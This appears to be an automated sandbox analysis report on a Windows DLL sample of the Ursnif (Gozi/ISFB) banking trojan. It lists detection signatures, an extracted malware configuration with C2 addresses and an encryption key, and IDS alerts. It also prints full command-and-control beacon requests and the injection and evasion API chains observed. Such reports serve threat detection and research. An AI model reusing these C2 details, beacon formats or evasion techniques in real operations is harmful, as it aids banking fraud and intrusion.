Windows Analysis Report
VoevdOQpeU.dll

Overview

General Information

Sample Name: VoevdOQpeU.dll
Analysis ID: 614287
MD5: ba155d8aed7ca303fcfc3f0248d218e1
SHA1: 600453c21cdbecdbea9c825df4754b8a1829d649
SHA256: a5ea92139f59d185548e8f48d1ce65cbf54bf1e3e1930de221091017fd1d4f0a
Tags: dllGoziISFBUrsnif
Infos:

Detection

Ursnif
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Multi AV Scanner detection for submitted file
Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Sigma detected: Windows Shell File Write to Suspicious Folder
Writes to foreign memory regions
Sigma detected: Accessing WinAPI in PowerShell. Code Injection
Sigma detected: Suspicious Remote Thread Created
Machine Learning detection for sample
Uses ping.exe to check the status of other devices and networks
Self deletion via cmd delete
Sigma detected: MSHTA Spawning Windows Shell
Uses ping.exe to sleep
Injects code into the Windows Explorer (explorer.exe)
Sigma detected: Suspicious Call by Ordinal
Sigma detected: Mshta Spawning Windows Shell
Creates a thread in another existing process (thread injection)
Writes registry values via WMI
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
One or more processes crash
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
Sigma detected: Suspicious Rundll32 Activity
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Contains functionality to launch a process as a different user
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Searches for the Microsoft Outlook file path
Drops PE files
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Checks if the current process is being debugged
Sigma detected: Suspicious Csc.exe Source File Folder
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Compiles C# or VB.Net code
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)

Classification

AV Detection
barindex
Found malware configuration
Source: 00000002.00000002.421966249.0000000005800000.00000040.10000000.00040000.00000000.sdmp Malware Configuration Extractor: Ursnif {"RSA Public Key": "pL7U8jIQ6Xyci+KwkOGf1cPW2/Fhd+dF//sxc+w06EDUcByHCNEeq3AMzyjoircBRXTmPPIhcdpmz3ebzg0LE5DJtHXLGNdffU4pfKjfVhDmO/39S4DkofaSw/DfVYS7XTULsvD4OgcLpBmdb9KtHDr5tcYukmu8ER2eGMJKWWH3QPIgCCGjluPn4AJBYaVv+PYiV87aKNKmQY2QyHTRdeOeR6t/zjeQ8WAxQr1ckNg8DXeFDVPzLqKlTMh9JNV1/WxJWw/i0NwLqKGVqwwhDZj7TdIN07N7A3Nsw4LKUmopfR2v3CfaFAElEJJF5iXQZdDs3LWMU3fma/lDGlnr41o8sOGT4DKtfI59bD0qne8=", "c2_domain": ["config.edge.skype.com", "67.43.234.14", "config.edge.skype.com", "67.43.234.37", "config.edge.skype.com", "67.43.234.47"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Q8tR9QJN7lLzOLle", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "movie_capture": "30, 8, *terminal* *debug**snif* *shark*", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "999", "SetWaitableTimer_value": "1"}
Multi AV Scanner detection for submitted file
Source: VoevdOQpeU.dll ReversingLabs: Detection: 38%
Machine Learning detection for sample
Source: VoevdOQpeU.dll Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_049F3072 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,CryptDecrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError, 2_2_049F3072
Uses 32bit PE files
Source: VoevdOQpeU.dll Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
Source: Binary string: ntdll.pdb source: rundll32.exe, 00000002.00000003.370646090.0000000005D90000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: d:\in\the\town\where\ahung.pdb source: loaddll32.exe, 00000000.00000000.287938913.0000000000480000.00000002.00000001.01000000.00000003.sdmp, VoevdOQpeU.dll
Source: Binary string: ntdll.pdbUGP source: rundll32.exe, 00000002.00000003.370646090.0000000005D90000.00000004.00001000.00020000.00000000.sdmp
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0580FCC0 lstrlenW,FindFirstFileW,lstrlenW,RemoveDirectoryW,DeleteFileW,FindNextFileW,GetLastError, 2_2_0580FCC0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0580CE21 FindFirstFileW,lstrlenW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrcpyW,FindNextFileW,FindClose,FreeLibrary, 2_2_0580CE21
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_05805A14 lstrlenW,lstrlenW,lstrlenW,lstrlenW,memset,FindFirstFileW,lstrlenW,lstrlenW,memset,wcscpy,PathFindFileNameW,RtlEnterCriticalSection,RtlLeaveCriticalSection,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,FindFirstFileW,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose, 2_2_05805A14
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0580591B wcscpy,wcscpy,GetLogicalDriveStringsW,GetLogicalDriveStringsW,RtlAllocateHeap,memset,GetLogicalDriveStringsW,WaitForSingleObject,GetDriveTypeW,lstrlenW,wcscpy,lstrlenW,HeapFree, 2_2_0580591B

Networking
barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.4:49760 -> 13.107.42.16:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.4:49760 -> 13.107.42.16:80
Source: Traffic Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.4:49766 -> 146.70.35.138:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.4:49766 -> 146.70.35.138:80
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 146.70.35.138 80 Jump to behavior
Uses ping.exe to check the status of other devices and networks
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: TENET-1ZA TENET-1ZA
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 146.70.35.138 146.70.35.138
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /phpadmin/DRUYboFifxi6C3/_2BjVEcKiT1b8A_2BvMed/1ckh5D3V8MdKp2S2/SxMBQuJjSXDeW9Y/7fodbbXY21Jrsa2aXJ/S90Gqb_2B/KDYz_2F5NJsyx14KqPKz/ecUQVATr13lzZyN_2B_/2BoLTTXT06dmMNQURoEaga/M1AdtgAQJw1vj/q_2FSYWg/oo4zTjJDuzf2mz8BRfV3I9z/TX7m3RhRWd/LYr8gkK9WgmQ0jja9/kmBHLi0WTs_2/FFd4Km9NmRn/_2FUZ.src HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 146.70.35.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /phpadmin/GVoID0TbPRvLYlr7up2X9/gD2XQvRshzT0oIvQ/0mEtVI_2FJuzvKC/fbaZh1y3_2FnOqy8_2/B0Y8u0dqv/V11JJbfZHGLCQ043KVhZ/2j3FiaSLUSAIqnVTtEF/p_2F7mTRIgp_2F43j86HIJ/7JamWIlhMtaxW/Qv_2BsMI/GK_2BjMae66_2B0eWRxZare/pyglkGar6g/LD_2FkUNwRZVbFFyN/qmaS1_2FZd3W/iyocOp4EpCY/lkbOHJ4rs/yFlR4ppeN_2/FAS.src HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 146.70.35.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /phpadmin/Vo3V1ij8xfQAzbYEppxuGj/YfKBcB_2BiFsK/C5o_2FK1/LFX_2FAQmA1J0Gg2IGK0zii/Cqu4J51vDj/wlNBNCb18BPgk55aw/3DJofkjbHHw_/2F3O9t6XtUN/FhzyouLiXCH4qy/e6m_2F6Bp87emTDJkwB0B/GJSc0pfzfjLvMKIS/Fcz1B6FomHVea2H/3F6nRjbT0qghS0NNIb/kfO6CmRa0/E8U4GDXz2DXZU_2BDOzp/T84va5G8JnhB3/UMJfQ.src HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 146.70.35.138Connection: Keep-AliveCache-Control: no-cache
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: rundll32.exe, 00000002.00000003.365233310.0000000005D78000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000003.369967418.000001909FD9C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://constitution.org/usdeclar.txt
Source: rundll32.exe, 00000002.00000003.365233310.0000000005D78000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000003.369967418.000001909FD9C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://constitution.org/usdeclar.txtC:
Source: rundll32.exe, 00000002.00000003.365233310.0000000005D78000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000003.369967418.000001909FD9C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://https://file://USER.ID%lu.exe/upd
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_049F4CC6 ResetEvent,ResetEvent,InternetReadFile,GetLastError,ResetEvent,InternetReadFile,GetLastError, 2_2_049F4CC6
Source: global traffic HTTP traffic detected: GET /phpadmin/DRUYboFifxi6C3/_2BjVEcKiT1b8A_2BvMed/1ckh5D3V8MdKp2S2/SxMBQuJjSXDeW9Y/7fodbbXY21Jrsa2aXJ/S90Gqb_2B/KDYz_2F5NJsyx14KqPKz/ecUQVATr13lzZyN_2B_/2BoLTTXT06dmMNQURoEaga/M1AdtgAQJw1vj/q_2FSYWg/oo4zTjJDuzf2mz8BRfV3I9z/TX7m3RhRWd/LYr8gkK9WgmQ0jja9/kmBHLi0WTs_2/FFd4Km9NmRn/_2FUZ.src HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 146.70.35.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /phpadmin/GVoID0TbPRvLYlr7up2X9/gD2XQvRshzT0oIvQ/0mEtVI_2FJuzvKC/fbaZh1y3_2FnOqy8_2/B0Y8u0dqv/V11JJbfZHGLCQ043KVhZ/2j3FiaSLUSAIqnVTtEF/p_2F7mTRIgp_2F43j86HIJ/7JamWIlhMtaxW/Qv_2BsMI/GK_2BjMae66_2B0eWRxZare/pyglkGar6g/LD_2FkUNwRZVbFFyN/qmaS1_2FZd3W/iyocOp4EpCY/lkbOHJ4rs/yFlR4ppeN_2/FAS.src HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 146.70.35.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /phpadmin/Vo3V1ij8xfQAzbYEppxuGj/YfKBcB_2BiFsK/C5o_2FK1/LFX_2FAQmA1J0Gg2IGK0zii/Cqu4J51vDj/wlNBNCb18BPgk55aw/3DJofkjbHHw_/2F3O9t6XtUN/FhzyouLiXCH4qy/e6m_2F6Bp87emTDJkwB0B/GJSc0pfzfjLvMKIS/Fcz1B6FomHVea2H/3F6nRjbT0qghS0NNIb/kfO6CmRa0/E8U4GDXz2DXZU_2BDOzp/T84va5G8JnhB3/UMJfQ.src HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 146.70.35.138Connection: Keep-AliveCache-Control: no-cache

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Yara detected Ursnif
Source: Yara match File source: 00000002.00000003.260779553.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.308220825.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.260884971.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.309153947.0000000004D7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.306041676.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.261032532.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.261191379.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.260987111.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.261105592.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000003.369967418.000001909FD9C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.261071181.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.365233310.0000000005D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.261177888.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 5292, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6612, type: MEMORYSTR
Source: Yara match File source: 2.3.rundll32.exe.48994a0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.rundll32.exe.49f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.48994a0.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4e7a4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4f26940.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4ef94a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4e7a4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000002.00000002.421966249.0000000005800000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.307999471.0000000004EF9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.418290264.0000000004899000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.307957841.0000000004E7A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.420929959.0000000004BFF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

E-Banking Fraud
barindex
Yara detected Ursnif
Source: Yara match File source: 00000002.00000003.260779553.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.308220825.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.260884971.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.309153947.0000000004D7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.306041676.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.261032532.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.261191379.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.260987111.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.261105592.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000003.369967418.000001909FD9C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.261071181.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.365233310.0000000005D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.261177888.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 5292, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6612, type: MEMORYSTR
Source: Yara match File source: 2.3.rundll32.exe.48994a0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.rundll32.exe.49f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.48994a0.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4e7a4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4f26940.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4ef94a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4e7a4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000002.00000002.421966249.0000000005800000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.307999471.0000000004EF9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.418290264.0000000004899000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.307957841.0000000004E7A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.420929959.0000000004BFF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_049F3072 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,CryptDecrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError, 2_2_049F3072

System Summary
barindex
Writes registry values via WMI
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Uses 32bit PE files
Source: VoevdOQpeU.dll Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
One or more processes crash
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1428 -s 608
Detected potential crypto function
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_049F821C 2_2_049F821C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_049F198A 2_2_049F198A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_049F475F 2_2_049F475F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_058184D9 2_2_058184D9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_05808FA6 2_2_05808FA6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_058237F4 2_2_058237F4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_05801E50 2_2_05801E50
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0581C3A9 2_2_0581C3A9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_05820B0E 2_2_05820B0E
Contains functionality to launch a process as a different user
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0581488B CreateProcessAsUserW, 2_2_0581488B
Contains functionality to call native functions
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_049F3A9C NtMapViewOfSection, 2_2_049F3A9C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_049F4695 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, 2_2_049F4695
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_049F25D7 GetProcAddress,NtCreateSection,memset, 2_2_049F25D7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_049F8441 NtQueryVirtualMemory, 2_2_049F8441
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_05815D9D NtQueryInformationProcess, 2_2_05815D9D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0581F5FF memset,NtWow64QueryInformationProcess64,GetProcAddress,NtWow64QueryInformationProcess64, 2_2_0581F5FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_05815CA1 GetSystemTimeAsFileTime,HeapCreate,NtQueryInformationThread,GetModuleHandleA,RtlImageNtHeader,RtlExitUserThread, 2_2_05815CA1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_058144A5 GetProcAddress,NtWow64QueryInformationProcess64,StrRChrA, 2_2_058144A5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_05801C78 NtWow64ReadVirtualMemory64,GetProcAddress,NtWow64ReadVirtualMemory64, 2_2_05801C78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0581312E RtlInitializeCriticalSection,RtlInitializeCriticalSection,memset,RtlInitializeCriticalSection,CreateMutexA,GetLastError,GetLastError,CloseHandle,GetUserNameA,GetUserNameA,RtlAllocateHeap,GetUserNameA,NtQueryInformationProcess,OpenProcess,GetLastError,CloseHandle,GetShellWindow,GetWindowThreadProcessId,memcpy,CreateEventA,CreateEventA,RtlAllocateHeap,OpenEventA,CreateEventA,GetLastError,LoadLibraryA,SetEvent,RtlAllocateHeap,wsprintfA, 2_2_0581312E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_058212F1 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, 2_2_058212F1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0581AD9E NtAllocateVirtualMemory,RtlNtStatusToDosError,SetLastError, 2_2_0581AD9E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0581B628 NtWriteVirtualMemory,RtlNtStatusToDosError,SetLastError, 2_2_0581B628
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0581264B NtQueryInformationThread,GetLastError,RtlNtStatusToDosError, 2_2_0581264B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_05815188 NtQueryKey,NtQueryKey,lstrlenW,NtQueryKey,lstrcpyW, 2_2_05815188
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_058029B2 NtGetContextThread,RtlNtStatusToDosError, 2_2_058029B2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0581C1C2 NtReadVirtualMemory,RtlNtStatusToDosError,SetLastError, 2_2_0581C1C2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0580A085 memset,NtQueryInformationProcess, 2_2_0580A085
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_05815830 OpenProcess,GetLastError,GetProcAddress,NtSetInformationProcess,RtlNtStatusToDosError,GetProcAddress,GetProcAddress,TerminateThread,ResumeThread,CloseHandle,GetLastError,CloseHandle, 2_2_05815830
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_05801B92 NtQuerySystemInformation,RtlNtStatusToDosError, 2_2_05801B92
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_05807A1E memset,memcpy,NtSetContextThread,RtlNtStatusToDosError,GetLastError, 2_2_05807A1E
Sample file is different than original file name gathered from version info
Source: VoevdOQpeU.dll Binary or memory string: OriginalFilenamerpcapd.exe0 vs VoevdOQpeU.dll
Searches for the Microsoft Outlook file path
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
Source: VoevdOQpeU.dll ReversingLabs: Detection: 38%
Source: VoevdOQpeU.dll Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Windows\System32\loaddll32.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
